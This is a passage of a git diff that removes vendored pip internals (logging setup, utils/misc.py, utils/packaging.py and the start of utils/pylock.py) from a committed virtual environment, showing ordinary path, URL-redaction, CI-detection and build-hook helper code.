-        ["user_log"] if include_user_log else []
-    )
-    global _stdout_console, stderr_console
-    console_options: dict[str, Any] = {"no_color": no_color, "soft_wrap": True}
-    if looks_like_ci():
-        # Don't animate progress bars and status spinners when running
-        # in CI. A lot of CI workflows use FORCE_COLOR and similar envvars
-        # so their CI output remains colorized, but this causes rich to
-        # assume a fully interactive terminal, resulting in any animated
-        # output to span many lines which is distracting (and unhelpful).
-        console_options["force_interactive"] = False
-    _stdout_console = PipConsole(file=sys.stdout, **console_options)
-    _stderr_console = PipConsole(file=sys.stderr, **console_options)
-
-    logging.config.dictConfig(
-        {
-            "version": 1,
-            "disable_existing_loggers": False,
-            "filters": {
-                "exclude_warnings": {
-                    "()": "pip._internal.utils.logging.MaxLevelFilter",
-                    "level": logging.WARNING,
-                },
-                "restrict_to_subprocess": {
-                    "()": "logging.Filter",
-                    "name": subprocess_logger.name,
-                },
-                "exclude_subprocess": {
-                    "()": "pip._internal.utils.logging.ExcludeLoggerFilter",
-                    "name": subprocess_logger.name,
-                },
-            },
-            "formatters": {
-                "indent": {
-                    "()": IndentingFormatter,
-                    "format": "%(message)s",
-                },
-                "indent_with_timestamp": {
-                    "()": IndentingFormatter,
-                    "format": "%(message)s",
-                    "add_timestamp": True,
-                },
-            },
-            "handlers": {
-                "console": {
-                    "level": level,
-                    "class": handler_classes["stream"],
-                    "console": _stdout_console,
-                    "filters": ["exclude_subprocess", "exclude_warnings"],
-                    "formatter": "indent",
-                },
-                "console_errors": {
-                    "level": "WARNING",
-                    "class": handler_classes["stream"],
-                    "console": _stderr_console,
-                    "filters": ["exclude_subprocess"],
-                    "formatter": "indent",
-                },
-                # A handler responsible for logging to the console messages
-                # from the "subprocessor" logger.
-                "console_subprocess": {
-                    "level": level,
-                    "class": handler_classes["stream"],
-                    "console": _stderr_console,
-                    "filters": ["restrict_to_subprocess"],
-                    "formatter": "indent",
-                },
-                "user_log": {
-                    "level": "DEBUG",
-                    "class": handler_classes["file"],
-                    "filename": additional_log_file,
-                    "encoding": "utf-8",
-                    "delay": True,
-                    "formatter": "indent_with_timestamp",
-                },
-            },
-            "root": {
-                "level": root_level,
-                "handlers": handlers,
-            },
-            "loggers": {"pip._vendor": {"level": vendored_log_level}},
-        }
-    )
-
-    return level_number
diff --git a/venv/Lib/site-packages/pip/_internal/utils/misc.py b/venv/Lib/site-packages/pip/_internal/utils/misc.py
deleted file mode 100644
index c676029481a406937f53b47dfe63f96c3eefc31e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/misc.py
+++ /dev/null
@@ -1,815 +0,0 @@
-from __future__ import annotations
-
-import errno
-import getpass
-import hashlib
-import logging
-import os
-import pathlib
-import posixpath
-import shutil
-import stat
-import sys
-import sysconfig
-import urllib.parse
-from collections.abc import Callable, Generator, Iterable, Iterator, Mapping, Sequence
-from dataclasses import dataclass
-from functools import partial
-from io import StringIO
-from itertools import filterfalse, tee, zip_longest
-from pathlib import Path
-from types import FunctionType, TracebackType
-from typing import (
-    Any,
-    BinaryIO,
-    TextIO,
-    TypeVar,
-    cast,
-)
-
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller
-
-from pip import __file__ as pip_location
-from pip import __version__
-from pip._internal.exceptions import CommandError, ExternallyManagedEnvironment
-from pip._internal.locations import get_major_minor_version
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.retry import retry
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-__all__ = [
-    "rmtree",
-    "display_path",
-    "backup_dir",
-    "ask",
-    "splitext",
-    "format_size",
-    "is_installable_dir",
-    "normalize_path",
-    "renames",
-    "get_prog",
-    "ensure_dir",
-    "remove_auth_from_url",
-    "check_externally_managed",
-    "looks_like_ci",
-    "ConfiguredBuildBackendHookCaller",
-]
-
-logger = logging.getLogger(__name__)
-
-T = TypeVar("T")
-ExcInfo = tuple[type[BaseException], BaseException, TracebackType]
-VersionInfo = tuple[int, int, int]
-NetlocTuple = tuple[str, tuple[str | None, str | None]]
-OnExc = Callable[[FunctionType, Path, BaseException], Any]
-OnErr = Callable[[FunctionType, Path, ExcInfo], Any]
-
-FILE_CHUNK_SIZE = 1024 * 1024
-# These are environment variables present when running under various
-# CI systems.  For each variable, some CI systems that use the variable
-# are indicated.  The collection was chosen so that for each of a number
-# of popular systems, at least one of the environment variables is used.
-# This list is used to provide some indication of and lower bound for
-# CI traffic to PyPI.  Thus, it is okay if the list is not comprehensive.
-# For more background, see: https://github.com/pypa/pip/issues/5499
-CI_ENVIRONMENT_VARIABLES = (
-    # Azure Pipelines
-    "BUILD_BUILDID",
-    # Jenkins
-    "BUILD_ID",
-    # AppVeyor, CircleCI, Codeship, Gitlab CI, Shippable, Travis CI
-    "CI",
-    # Explicit environment variable.
-    "PIP_IS_CI",
-)
-
-
-def get_pip_version() -> str:
-    pip_pkg_dir = os.path.join(os.path.dirname(__file__), "..", "..")
-    pip_pkg_dir = os.path.abspath(pip_pkg_dir)
-
-    return f"pip {__version__} from {pip_pkg_dir} (python {get_major_minor_version()})"
-
-
-def get_runnable_pip() -> str:
-    """Get a file to pass to a Python executable, to run the currently-running pip.
-
-    This is used to run a pip subprocess, for installing requirements into the build
-    environment.
-    """
-    source = pathlib.Path(pip_location).resolve().parent
-
-    if not source.is_dir():
-        # This would happen if someone is using pip from inside a zip file. In that
-        # case, we can use that directly.
-        return str(source)
-
-    return os.fsdecode(source / "__pip-runner__.py")
-
-
-def normalize_version_info(py_version_info: tuple[int, ...]) -> tuple[int, int, int]:
-    """
-    Convert a tuple of ints representing a Python version to one of length
-    three.
-
-    :param py_version_info: a tuple of ints representing a Python version,
-        or None to specify no version. The tuple can have any length.
-
-    :return: a tuple of length three if `py_version_info` is non-None.
-        Otherwise, return `py_version_info` unchanged (i.e. None).
-    """
-    if len(py_version_info) < 3:
-        py_version_info += (3 - len(py_version_info)) * (0,)
-    elif len(py_version_info) > 3:
-        py_version_info = py_version_info[:3]
-
-    return cast("VersionInfo", py_version_info)
-
-
-def ensure_dir(path: str) -> None:
-    """os.path.makedirs without EEXIST."""
-    try:
-        os.makedirs(path)
-    except OSError as e:
-        # Windows can raise spurious ENOTEMPTY errors. See #6426.
-        if e.errno != errno.EEXIST and e.errno != errno.ENOTEMPTY:
-            raise
-
-
-def get_prog() -> str:
-    try:
-        prog = os.path.basename(sys.argv[0])
-        if prog in ("__main__.py", "-c"):
-            return f"{sys.executable} -m pip"
-        else:
-            return prog
-    except (AttributeError, TypeError, IndexError):
-        pass
-    return "pip"
-
-
-# Retry every half second for up to 3 seconds
-@retry(stop_after_delay=3, wait=0.5)
-def rmtree(dir: str, ignore_errors: bool = False, onexc: OnExc | None = None) -> None:
-    if ignore_errors:
-        onexc = _onerror_ignore
-    if onexc is None:
-        onexc = _onerror_reraise
-    handler: OnErr = partial(rmtree_errorhandler, onexc=onexc)
-    if sys.version_info >= (3, 12):
-        # See https://docs.python.org/3.12/whatsnew/3.12.html#shutil.
-        shutil.rmtree(dir, onexc=handler)  # type: ignore
-    else:
-        shutil.rmtree(dir, onerror=handler)  # type: ignore
-
-
-def _onerror_ignore(*_args: Any) -> None:
-    pass
-
-
-def _onerror_reraise(*_args: Any) -> None:
-    raise  # noqa: PLE0704 - Bare exception used to reraise existing exception
-
-
-def rmtree_errorhandler(
-    func: FunctionType,
-    path: Path,
-    exc_info: ExcInfo | BaseException,
-    *,
-    onexc: OnExc = _onerror_reraise,
-) -> None:
-    """
-    `rmtree` error handler to 'force' a file remove (i.e. like `rm -f`).
-
-    * If a file is readonly then it's write flag is set and operation is
-      retried.
-
-    * `onerror` is the original callback from `rmtree(... onerror=onerror)`
-      that is chained at the end if the "rm -f" still fails.
-    """
-    try:
-        st_mode = os.stat(path).st_mode
-    except OSError:
-        # it's equivalent to os.path.exists
-        return
-
-    if not st_mode & stat.S_IWRITE:
-        # convert to read/write
-        try:
-            os.chmod(path, st_mode | stat.S_IWRITE)
-        except OSError:
-            pass
-        else:
-            # use the original function to repeat the operation
-            try:
-                func(path)
-                return
-            except OSError:
-                pass
-
-    if not isinstance(exc_info, BaseException):
-        _, exc_info, _ = exc_info
-    onexc(func, path, exc_info)
-
-
-def display_path(path: str) -> str:
-    """Gives the display value for a given path, making it relative to cwd
-    if possible."""
-    try:
-        relative = Path(path).relative_to(Path.cwd())
-    except ValueError:
-        # If the path isn't relative to the CWD, leave it alone
-        return path
-    return os.path.join(".", relative)
-
-
-def backup_dir(dir: str, ext: str = ".bak") -> str:
-    """Figure out the name of a directory to back up the given dir to
-    (adding .bak, .bak2, etc)"""
-    n = 1
-    extension = ext
-    while os.path.exists(dir + extension):
-        n += 1
-        extension = ext + str(n)
-    return dir + extension
-
-
-def ask_path_exists(message: str, options: Iterable[str]) -> str:
-    for action in os.environ.get("PIP_EXISTS_ACTION", "").split():
-        if action in options:
-            return action
-    return ask(message, options)
-
-
-def _check_no_input(message: str) -> None:
-    """Raise an error if no input is allowed."""
-    if os.environ.get("PIP_NO_INPUT"):
-        raise Exception(
-            f"No input was expected ($PIP_NO_INPUT set); question: {message}"
-        )
-
-
-def ask(message: str, options: Iterable[str]) -> str:
-    """Ask the message interactively, with the given possible responses"""
-    while 1:
-        _check_no_input(message)
-        response = input(message)
-        response = response.strip().lower()
-        if response not in options:
-            print(
-                "Your response ({!r}) was not one of the expected responses: "
-                "{}".format(response, ", ".join(options))
-            )
-        else:
-            return response
-
-
-def ask_input(message: str) -> str:
-    """Ask for input interactively."""
-    _check_no_input(message)
-    return input(message)
-
-
-def ask_password(message: str) -> str:
-    """Ask for a password interactively."""
-    _check_no_input(message)
-    return getpass.getpass(message)
-
-
-def strtobool(val: str) -> int:
-    """Convert a string representation of truth to true (1) or false (0).
-
-    True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values
-    are 'n', 'no', 'f', 'false', 'off', and '0'.  Raises ValueError if
-    'val' is anything else.
-    """
-    val = val.lower()
-    if val in ("y", "yes", "t", "true", "on", "1"):
-        return 1
-    elif val in ("n", "no", "f", "false", "off", "0"):
-        return 0
-    else:
-        raise ValueError(f"invalid truth value {val!r}")
-
-
-def format_size(bytes: float) -> str:
-    if bytes > 1000 * 1000:
-        return f"{bytes / 1000.0 / 1000:.1f} MB"
-    elif bytes > 10 * 1000:
-        return f"{int(bytes / 1000)} kB"
-    elif bytes > 1000:
-        return f"{bytes / 1000.0:.1f} kB"
-    else:
-        return f"{int(bytes)} bytes"
-
-
-def tabulate(rows: Iterable[Iterable[Any]]) -> tuple[list[str], list[int]]:
-    """Return a list of formatted rows and a list of column sizes.
-
-    For example::
-
-    >>> tabulate([['foobar', 2000], [0xdeadbeef]])
-    (['foobar     2000', '3735928559'], [10, 4])
-    """
-    rows = [tuple(map(str, row)) for row in rows]
-    sizes = [max(map(len, col)) for col in zip_longest(*rows, fillvalue="")]
-    table = [" ".join(map(str.ljust, row, sizes)).rstrip() for row in rows]
-    return table, sizes
-
-
-def is_installable_dir(path: str) -> bool:
-    """Is path is a directory containing pyproject.toml or setup.py?
-
-    If pyproject.toml exists, this is a PEP 517 project. Otherwise we look for
-    a legacy setuptools layout by identifying setup.py. We don't check for the
-    setup.cfg because using it without setup.py is only available for PEP 517
-    projects, which are already covered by the pyproject.toml check.
-    """
-    if not os.path.isdir(path):
-        return False
-    if os.path.isfile(os.path.join(path, "pyproject.toml")):
-        return True
-    if os.path.isfile(os.path.join(path, "setup.py")):
-        return True
-    return False
-
-
-def read_chunks(
-    file: BinaryIO, size: int = FILE_CHUNK_SIZE
-) -> Generator[bytes, None, None]:
-    """Yield pieces of data from a file-like object until EOF."""
-    while True:
-        chunk = file.read(size)
-        if not chunk:
-            break
-        yield chunk
-
-
-def normalize_path(path: str, resolve_symlinks: bool = True) -> str:
-    """
-    Convert a path to its canonical, case-normalized, absolute version.
-
-    """
-    path = os.path.expanduser(path)
-    if resolve_symlinks:
-        path = os.path.realpath(path)
-    else:
-        path = os.path.abspath(path)
-    return os.path.normcase(path)
-
-
-def splitext(path: str) -> tuple[str, str]:
-    """Like os.path.splitext, but take off .tar too"""
-    base, ext = posixpath.splitext(path)
-    if base.lower().endswith(".tar"):
-        ext = base[-4:] + ext
-        base = base[:-4]
-    return base, ext
-
-
-def renames(old: str, new: str) -> None:
-    """Like os.renames(), but handles renaming across devices."""
-    # Implementation borrowed from os.renames().
-    head, tail = os.path.split(new)
-    if head and tail and not os.path.exists(head):
-        os.makedirs(head)
-
-    shutil.move(old, new)
-
-    head, tail = os.path.split(old)
-    if head and tail:
-        try:
-            os.removedirs(head)
-        except OSError:
-            pass
-
-
-def is_local(path: str) -> bool:
-    """
-    Return True if path is within sys.prefix, if we're running in a virtualenv.
-
-    If we're not in a virtualenv, all paths are considered "local."
-
-    Caution: this function assumes the head of path has been normalized
-    with normalize_path.
-    """
-    if not running_under_virtualenv():
-        return True
-    return path.startswith(normalize_path(sys.prefix))
-
-
-def write_output(msg: Any, *args: Any) -> None:
-    logger.info(msg, *args)
-
-
-class StreamWrapper(StringIO):
-    orig_stream: TextIO
-
-    @classmethod
-    def from_stream(cls, orig_stream: TextIO) -> StreamWrapper:
-        ret = cls()
-        ret.orig_stream = orig_stream
-        return ret
-
-    # compileall.compile_dir() needs stdout.encoding to print to stdout
-    # type ignore is because TextIOBase.encoding is writeable
-    @property
-    def encoding(self) -> str:  # type: ignore
-        return self.orig_stream.encoding
-
-
-# Simulates an enum
-def enum(*sequential: Any, **named: Any) -> type[Any]:
-    enums = dict(zip(sequential, range(len(sequential))), **named)
-    reverse = {value: key for key, value in enums.items()}
-    enums["reverse_mapping"] = reverse
-    return type("Enum", (), enums)
-
-
-def build_netloc(host: str, port: int | None) -> str:
-    """
-    Build a netloc from a host-port pair
-    """
-    if port is None:
-        return host
-    if ":" in host:
-        # Only wrap host with square brackets when it is IPv6
-        host = f"[{host}]"
-    return f"{host}:{port}"
-
-
-def build_url_from_netloc(netloc: str, scheme: str = "https") -> str:
-    """
-    Build a full URL from a netloc.
-    """
-    if netloc.count(":") >= 2 and "@" not in netloc and "[" not in netloc:
-        # It must be a bare IPv6 address, so wrap it with brackets.
-        netloc = f"[{netloc}]"
-    return f"{scheme}://{netloc}"
-
-
-def parse_netloc(netloc: str) -> tuple[str | None, int | None]:
-    """
-    Return the host-port pair from a netloc.
-    """
-    url = build_url_from_netloc(netloc)
-    parsed = urllib.parse.urlparse(url)
-    return parsed.hostname, parsed.port
-
-
-def split_auth_from_netloc(netloc: str) -> NetlocTuple:
-    """
-    Parse out and remove the auth information from a netloc.
-
-    Returns: (netloc, (username, password)).
-    """
-    if "@" not in netloc:
-        return netloc, (None, None)
-
-    # Split from the right because that's how urllib.parse.urlsplit()
-    # behaves if more than one @ is present (which can be checked using
-    # the password attribute of urlsplit()'s return value).
-    auth, netloc = netloc.rsplit("@", 1)
-    pw: str | None = None
-    if ":" in auth:
-        # Split from the left because that's how urllib.parse.urlsplit()
-        # behaves if more than one : is present (which again can be checked
-        # using the password attribute of the return value)
-        user, pw = auth.split(":", 1)
-    else:
-        user, pw = auth, None
-
-    user = urllib.parse.unquote(user)
-    if pw is not None:
-        pw = urllib.parse.unquote(pw)
-
-    return netloc, (user, pw)
-
-
-def redact_netloc(netloc: str) -> str:
-    """
-    Replace the sensitive data in a netloc with "****", if it exists.
-
-    For example:
-        - "user:pass@example.com" returns "user:****@example.com"
-        - "accesstoken@example.com" returns "****@example.com"
-    """
-    netloc, (user, password) = split_auth_from_netloc(netloc)
-    if user is None:
-        return netloc
-    if password is None:
-        user = "****"
-        password = ""
-    else:
-        user = urllib.parse.quote(user)
-        password = ":****"
-    return f"{user}{password}@{netloc}"
-
-
-def _transform_url(
-    url: str, transform_netloc: Callable[[str], tuple[Any, ...]]
-) -> tuple[str, NetlocTuple]:
-    """Transform and replace netloc in a url.
-
-    transform_netloc is a function taking the netloc and returning a
-    tuple. The first element of this tuple is the new netloc. The
-    entire tuple is returned.
-
-    Returns a tuple containing the transformed url as item 0 and the
-    original tuple returned by transform_netloc as item 1.
-    """
-    purl = urllib.parse.urlsplit(url)
-    netloc_tuple = transform_netloc(purl.netloc)
-    # stripped url
-    url_pieces = (purl.scheme, netloc_tuple[0], purl.path, purl.query, purl.fragment)
-    surl = urllib.parse.urlunsplit(url_pieces)
-    return surl, cast("NetlocTuple", netloc_tuple)
-
-
-def _get_netloc(netloc: str) -> NetlocTuple:
-    return split_auth_from_netloc(netloc)
-
-
-def _redact_netloc(netloc: str) -> tuple[str]:
-    return (redact_netloc(netloc),)
-
-
-def split_auth_netloc_from_url(
-    url: str,
-) -> tuple[str, str, tuple[str | None, str | None]]:
-    """
-    Parse a url into separate netloc, auth, and url with no auth.
-
-    Returns: (url_without_auth, netloc, (username, password))
-    """
-    url_without_auth, (netloc, auth) = _transform_url(url, _get_netloc)
-    return url_without_auth, netloc, auth
-
-
-def remove_auth_from_url(url: str) -> str:
-    """Return a copy of url with 'username:password@' removed."""
-    # username/pass params are passed to subversion through flags
-    # and are not recognized in the url.
-    return _transform_url(url, _get_netloc)[0]
-
-
-def redact_auth_from_url(url: str) -> str:
-    """Replace the password in a given url with ****."""
-    return _transform_url(url, _redact_netloc)[0]
-
-
-def redact_auth_from_requirement(req: Requirement) -> str:
-    """Replace the password in a given requirement url with ****."""
-    if not req.url:
-        return str(req)
-    return str(req).replace(req.url, redact_auth_from_url(req.url))
-
-
-@dataclass(frozen=True)
-class HiddenText:
-    secret: str
-    redacted: str
-
-    def __repr__(self) -> str:
-        return f""
-
-    def __str__(self) -> str:
-        return self.redacted
-
-    def __eq__(self, other: object) -> bool:
-        # Equality is particularly useful for testing.
-        if type(self) is type(other):
-            # The string being used for redaction doesn't also have to match,
-            # just the raw, original string.
-            return self.secret == other.secret
-        return NotImplemented
-
-    # Disable hashing, since we have a custom __eq__ and don't need hash-ability
-    # (yet). The only required property of hashing is that objects which compare
-    # equal have the same hash value.
-    __hash__ = None  # type: ignore[assignment]
-
-
-def hide_value(value: str) -> HiddenText:
-    return HiddenText(value, redacted="****")
-
-
-def hide_url(url: str) -> HiddenText:
-    redacted = redact_auth_from_url(url)
-    return HiddenText(url, redacted=redacted)
-
-
-def protect_pip_from_modification_on_windows(modifying_pip: bool) -> None:
-    """Protection of pip.exe from modification on Windows
-
-    On Windows, any operation modifying pip should be run as:
-        python -m pip ...
-    """
-    pip_names = [
-        "pip",
-        f"pip{sys.version_info.major}",
-        f"pip{sys.version_info.major}.{sys.version_info.minor}",
-    ]
-
-    # See https://github.com/pypa/pip/issues/1299 for more discussion
-    should_show_use_python_msg = (
-        modifying_pip and WINDOWS and os.path.basename(sys.argv[0]) in pip_names
-    )
-
-    if should_show_use_python_msg:
-        new_command = [sys.executable, "-m", "pip"] + sys.argv[1:]
-        raise CommandError(
-            "To modify pip, please run the following command:\n{}".format(
-                " ".join(new_command)
-            )
-        )
-
-
-def check_externally_managed() -> None:
-    """Check whether the current environment is externally managed.
-
-    If the ``EXTERNALLY-MANAGED`` config file is found, the current environment
-    is considered externally managed, and an ExternallyManagedEnvironment is
-    raised.
-    """
-    if running_under_virtualenv():
-        return
-    marker = os.path.join(sysconfig.get_path("stdlib"), "EXTERNALLY-MANAGED")
-    if not os.path.isfile(marker):
-        return
-    raise ExternallyManagedEnvironment.from_config(marker)
-
-
-def is_console_interactive() -> bool:
-    """Is this console interactive?"""
-    return sys.stdin is not None and sys.stdin.isatty()
-
-
-def hash_file(path: str, blocksize: int = 1 << 20) -> tuple[Any, int]:
-    """Return (hash, length) for path using hashlib.sha256()"""
-
-    h = hashlib.sha256()
-    length = 0
-    with open(path, "rb") as f:
-        for block in read_chunks(f, size=blocksize):
-            length += len(block)
-            h.update(block)
-    return h, length
-
-
-def pairwise(iterable: Iterable[Any]) -> Iterator[tuple[Any, Any]]:
-    """
-    Return paired elements.
-
-    For example:
-        s -> (s0, s1), (s2, s3), (s4, s5), ...
-    """
-    iterable = iter(iterable)
-    return zip_longest(iterable, iterable)
-
-
-def partition(
-    pred: Callable[[T], bool], iterable: Iterable[T]
-) -> tuple[Iterable[T], Iterable[T]]:
-    """
-    Use a predicate to partition entries into false entries and true entries,
-    like
-
-        partition(is_odd, range(10)) --> 0 2 4 6 8   and  1 3 5 7 9
-    """
-    t1, t2 = tee(iterable)
-    return filterfalse(pred, t1), filter(pred, t2)
-
-
-class ConfiguredBuildBackendHookCaller(BuildBackendHookCaller):
-    def __init__(
-        self,
-        config_holder: Any,
-        source_dir: str,
-        build_backend: str,
-        backend_path: str | None = None,
-        runner: Callable[..., None] | None = None,
-        python_executable: str | None = None,
-    ):
-        super().__init__(
-            source_dir, build_backend, backend_path, runner, python_executable
-        )
-        self.config_holder = config_holder
-
-    def build_wheel(
-        self,
-        wheel_directory: str,
-        config_settings: Mapping[str, Any] | None = None,
-        metadata_directory: str | None = None,
-    ) -> str:
-        cs = self.config_holder.config_settings
-        return super().build_wheel(
-            wheel_directory, config_settings=cs, metadata_directory=metadata_directory
-        )
-
-    def build_sdist(
-        self,
-        sdist_directory: str,
-        config_settings: Mapping[str, Any] | None = None,
-    ) -> str:
-        cs = self.config_holder.config_settings
-        return super().build_sdist(sdist_directory, config_settings=cs)
-
-    def build_editable(
-        self,
-        wheel_directory: str,
-        config_settings: Mapping[str, Any] | None = None,
-        metadata_directory: str | None = None,
-    ) -> str:
-        cs = self.config_holder.config_settings
-        return super().build_editable(
-            wheel_directory, config_settings=cs, metadata_directory=metadata_directory
-        )
-
-    def get_requires_for_build_wheel(
-        self, config_settings: Mapping[str, Any] | None = None
-    ) -> Sequence[str]:
-        cs = self.config_holder.config_settings
-        return super().get_requires_for_build_wheel(config_settings=cs)
-
-    def get_requires_for_build_sdist(
-        self, config_settings: Mapping[str, Any] | None = None
-    ) -> Sequence[str]:
-        cs = self.config_holder.config_settings
-        return super().get_requires_for_build_sdist(config_settings=cs)
-
-    def get_requires_for_build_editable(
-        self, config_settings: Mapping[str, Any] | None = None
-    ) -> Sequence[str]:
-        cs = self.config_holder.config_settings
-        return super().get_requires_for_build_editable(config_settings=cs)
-
-    def prepare_metadata_for_build_wheel(
-        self,
-        metadata_directory: str,
-        config_settings: Mapping[str, Any] | None = None,
-        _allow_fallback: bool = True,
-    ) -> str:
-        cs = self.config_holder.config_settings
-        return super().prepare_metadata_for_build_wheel(
-            metadata_directory=metadata_directory,
-            config_settings=cs,
-            _allow_fallback=_allow_fallback,
-        )
-
-    def prepare_metadata_for_build_editable(
-        self,
-        metadata_directory: str,
-        config_settings: Mapping[str, Any] | None = None,
-        _allow_fallback: bool = True,
-    ) -> str | None:
-        cs = self.config_holder.config_settings
-        return super().prepare_metadata_for_build_editable(
-            metadata_directory=metadata_directory,
-            config_settings=cs,
-            _allow_fallback=_allow_fallback,
-        )
-
-
-def warn_if_run_as_root() -> None:
-    """Output a warning for sudo users on Unix.
-
-    In a virtual environment, sudo pip still writes to virtualenv.
-    On Windows, users may run pip as Administrator without issues.
-    This warning only applies to Unix root users outside of virtualenv.
-    """
-    if running_under_virtualenv():
-        return
-    if not hasattr(os, "getuid"):
-        return
-    # On Windows, there are no "system managed" Python packages. Installing as
-    # Administrator via pip is the correct way of updating system environments.
-    #
-    # We choose sys.platform over utils.compat.WINDOWS here to enable Mypy platform
-    # checks: https://mypy.readthedocs.io/en/stable/common_issues.html
-    if sys.platform == "win32" or sys.platform == "cygwin":
-        return
-
-    if os.getuid() != 0:
-        return
-
-    logger.warning(
-        "Running pip as the 'root' user can result in broken permissions and "
-        "conflicting behaviour with the system package manager, possibly "
-        "rendering your system unusable. "
-        "It is recommended to use a virtual environment instead: "
-        "https://pip.pypa.io/warnings/venv. "
-        "Use the --root-user-action option if you know what you are doing and "
-        "want to suppress this warning."
-    )
-
-
-def looks_like_ci() -> bool:
-    """
-    Return whether it looks like pip is running under CI.
-    """
-    # We don't use the method of checking for a tty (e.g. using isatty())
-    # because some CI systems mimic a tty (e.g. Travis CI).  Thus that
-    # method doesn't provide definitive information in either direction.
-    return any(name in os.environ for name in CI_ENVIRONMENT_VARIABLES)
diff --git a/venv/Lib/site-packages/pip/_internal/utils/packaging.py b/venv/Lib/site-packages/pip/_internal/utils/packaging.py
deleted file mode 100644
index 3cbc0490aa1febe2dab8069a115ca13f0ad21c38..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/packaging.py
+++ /dev/null
@@ -1,44 +0,0 @@
-from __future__ import annotations
-
-import functools
-import logging
-
-from pip._vendor.packaging import specifiers, version
-from pip._vendor.packaging.requirements import Requirement
-
-logger = logging.getLogger(__name__)
-
-
-@functools.lru_cache(maxsize=32)
-def check_requires_python(
-    requires_python: str | None, version_info: tuple[int, ...]
-) -> bool:
-    """
-    Check if the given Python version matches a "Requires-Python" specifier.
-
-    :param version_info: A 3-tuple of ints representing a Python
-        major-minor-micro version to check (e.g. `sys.version_info[:3]`).
-
-    :return: `True` if the given Python version satisfies the requirement.
-        Otherwise, return `False`.
-
-    :raises InvalidSpecifier: If `requires_python` has an invalid format.
-    """
-    if requires_python is None:
-        # The package provides no information
-        return True
-    requires_python_specifier = specifiers.SpecifierSet(requires_python)
-
-    python_version = version.parse(".".join(map(str, version_info)))
-    return python_version in requires_python_specifier
-
-
-@functools.lru_cache(maxsize=10000)
-def get_requirement(req_string: str) -> Requirement:
-    """Construct a packaging.Requirement object with caching"""
-    # Parsing requirement strings is expensive, and is also expected to happen
-    # with a low diversity of different arguments (at least relative the number
-    # constructed). This method adds a cache to requirement object creation to
-    # minimize repeated parsing of the same string to construct equivalent
-    # Requirement objects.
-    return Requirement(req_string)
diff --git a/venv/Lib/site-packages/pip/_internal/utils/pylock.py b/venv/Lib/site-packages/pip/_internal/utils/pylock.py
deleted file mode 100644
index 70df98693bae1d809fe7b29c6c438641782e4f0c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/pylock.py
+++ /dev/null
@@ -1,299 +0,0 @@
-from __future__ import annotations
-
-import os
-import re
-from collections.abc import Iterable, Iterator
-from pathlib import Path
-from typing import TYPE_CHECKING
-from urllib.parse import urljoin, urlsplit
-
-from pip._vendor.packaging.pylock import (
-    Package,
-    PackageArchive,
-    PackageDirectory,
-    PackageSdist,
-    PackageVcs,
-    PackageWheel,
-    Pylock,
-    is_valid_pylock_path,
-)
-from pip._vendor.packaging.version import Version
-
-from pip._internal.exceptions import DiagnosticPipError, InstallationError
-from pip._internal.models.link import Link
-from pip._internal.utils.compat import tomllib
-from pip._internal.utils.urls import path_to_url, url_to_path
-
-if TYPE_CHECKING:
-    from pip._internal.network.session import PipSession
-    from pip._internal.req.req_install import InstallRequirement
-
-
-def _pylock_package_from_install_requirement(
-    ireq: InstallRequirement, base_dir: Path
-) -> Package:
-    base_dir = base_dir.resolve()
-    dist = ireq.get_dist()
-    download_info = ireq.download_info
-    assert download_info
-    package_version = None
-    package_vcs = None
-    package_directory = None
-    package_archive = None
-    package_sdist = None
-    package_wheels = None
-    if ireq.is_direct:
-        if download_info.vcs_info:
-            package_vcs = PackageVcs(
-                type=download_info.vcs_info.vcs,
-                url=download_info.url,
-                path=None,
-                requested_revision=download_info.vcs_info.requested_revision,
-                commit_id=download_info.vcs_info.commit_id,
-                subdirectory=download_info.subdirectory,
-            )
-        elif download_info.dir_info:
-            package_directory = PackageDirectory(
-                path=(
-                    Path(url_to_path(download_info.url))
-                    .resolve()
-                    .relative_to(base_dir)
-                    .as_posix()
-                ),
-                editable=(
-                    download_info.dir_info.editable
-                    if download_info.dir_info.editable
-                    else None
-                ),
-                subdirectory=download_info.subdirectory,
-            )
-        elif download_info.archive_info:
-            if not download_info.archive_info.hashes:
-                raise NotImplementedError()
-            package_archive = PackageArchive(
-                url=download_info.url,
-                path=None,
-                hashes=download_info.archive_info.hashes,
-                subdirectory=download_info.subdirectory,
-            )
-        else:
-            # should never happen
-            raise NotImplementedError()
-    else:
-        package_version = dist.version
-        if download_info.archive_info:
-            if not download_info.archive_info.hashes:
-                raise NotImplementedError()
-            link = Link(download_info.url)
-            if link.is_wheel:
-                package_wheels = [
-                    PackageWheel(
-                        name=link.filename,
-                        url=download_info.url,
-                        hashes=download_info.archive_info.hashes,
-                    )
-                ]
-            else:
-                package_sdist = PackageSdist(
-                    name=link.filename,
-                    url=download_info.url,
-                    hashes=download_info.archive_info.hashes,
-                )
-        else:
-            # should never happen
-            raise NotImplementedError()
-    return Package(
-        name=dist.canonical_name,
-        version=package_version,
-        vcs=package_vcs,
-        directory=package_directory,
-        archive=package_archive,
-        sdist=package_sdist,
-        wheels=package_wheels,
-    )
-
-
-def pylock_from_install_requirements(
-    install_requirements: Iterable[InstallRequirement], base_dir: Path
-) -> Pylock:
-    return Pylock(
-        lock_version=Version("1.0"),
-        created_by="pip",
-        packages=sorted(
-            (
-                _pylock_package_from_install_requirement(ireq, base_dir)
-                for ireq in install_requirements
-            ),
-            key=lambda p: p.name,
-        ),
-    )
-
-
-_SCHEME_RE = re.compile("^(http|https|file)://", re.IGNORECASE)
-
-
-def _is_url(s: str) -> bool:
-    return bool(_SCHEME_RE.match(s))
-
-
-def is_valid_pylock_filename(filename: str) -> bool:
-    if _is_url(filename):
-        path = Path(urlsplit(filename).path.rpartition("/")[-1])
-    else:
-        path = Path(filename)
-    return is_valid_pylock_path(path)
-
-
-def _package_dist_url(
-    pylock_path_or_url: str, path: str | None, url: str | None
-) -> str:
-    """Compute an url from a Pylock package path and url.
-
-    Give priority to path over url. If path is relative,
-    compute an url using the pylock file location as base.
-    """
-    if path is not None:
-        if not os.path.isabs(path):
-            # relative path, join to pylock location
-            if _is_url(pylock_path_or_url):
-                dist_url = urljoin(pylock_path_or_url, path)
-                # os.path.isabs does not treat a scheme-carrying value like
